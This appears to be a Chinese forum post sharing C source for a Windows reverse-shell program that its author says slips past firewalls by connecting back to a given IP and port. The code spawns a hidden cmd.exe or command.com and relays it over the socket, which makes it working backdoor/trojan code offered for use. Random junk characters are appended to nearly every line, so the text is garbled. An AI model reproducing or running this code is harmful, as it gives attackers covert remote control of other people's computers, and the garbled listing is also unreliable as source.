这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2?\L#=<F
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/* ============================== >O}J*4A>+#
Rebound port in Windows NT B;xGTl@8
By wind,2006/7 %Dm:|><V$b
===============================*/ /S&8%fb
#include [;hCwj#
#include SDICN0X*
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#pragma comment(lib,"wsock32.lib") 5 _
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void OutputShell(); JM Ikr9/$
SOCKET sClient; S*?x|&a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RaLc}F)9
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void main(int argc,char **argv) z+%74O"c
{ 2Jc9}|,
WSADATA stWsaData; RT+_e
int nRet; 5mB'\xGO2
SOCKADDR_IN stSaiClient,stSaiServer; z7um9g
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if(argc != 3) cp<jwcc!
{ 9aZ^m$tAt
printf("Useage:\n\rRebound DestIP DestPort\n"); }uk]1M2=
return; lF.yQ
} !0
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WSAStartup(MAKEWORD(2,2),&stWsaData); d3K-|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3eP7vy
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); mL[Y{t#N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *IBCThj
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F 5FzT^
{ qI#ow_lL#
printf("Bind Socket Failed!\n"); uV+.(sjH
return; %t<ba[9F
} UV8K$n<
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stSaiServer.sin_family = AF_INET; &[|P/gj#>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5 ]v]^Y'?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;m cu(J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *]RCfHo\=
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printf("Connect Error!"); SebJ}P1x
return; N_),'2
} *oU-V#
OutputShell(); Y]>Qu f.!
} CxRhMhvP
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void OutputShell() e3b|z.^ 8
{ 6`l7saHXE
char szBuff[1024]; WYNO6Xb#:
SECURITY_ATTRIBUTES stSecurityAttributes; f:|O);nM
OSVERSIONINFO stOsversionInfo; |8YP8o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {r2fIj~V
STARTUPINFO stStartupInfo;
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char *szShell; a#G]5TZ
PROCESS_INFORMATION stProcessInformation; Ps_q\R
unsigned long lBytesRead; Z-B b,8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8QNd t
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); iu(+
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stSecurityAttributes.lpSecurityDescriptor = 0; #J<IHNRt
stSecurityAttributes.bInheritHandle = TRUE; {-?8r>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bxA1fA;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); auS.q5
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }^R_8{>k
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jf{
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stStartupInfo.wShowWindow = SW_HIDE; @*rED6zH
stStartupInfo.hStdInput = hReadPipe; --9Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Nu%:7
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GetVersionEx(&stOsversionInfo); c@1q8,
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switch(stOsversionInfo.dwPlatformId) }th^l*g
{ J$Qm:DC5
case 1: [M{EO)
szShell = "command.com"; , JUP
break; p*
default: (ATCP#lF
szShell = "cmd.exe"; 8K/o /
break; mC}!;`$8p
} ]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )QvuoaJQ
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send(sClient,szMsg,77,0); w>W`8P_b@
while(1) f YuM`O
{ ^sjL@.'m$N
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j2/3NF5&
if(lBytesRead) sUP!'Av
{ }lzQMT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K9J"Q4pEC
send(sClient,szBuff,lBytesRead,0);
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} 6Q6l?!|W4
else M"t=0[0DM:
{ yU@~UCmja
lBytesRead=recv(sClient,szBuff,1024,0); ?$T39U^
if(lBytesRead<=0) break; 96.z\[0VZ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qJ|n73yn
} r4D6I,
} j_r7oARL
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return; k9^Vw+$m
}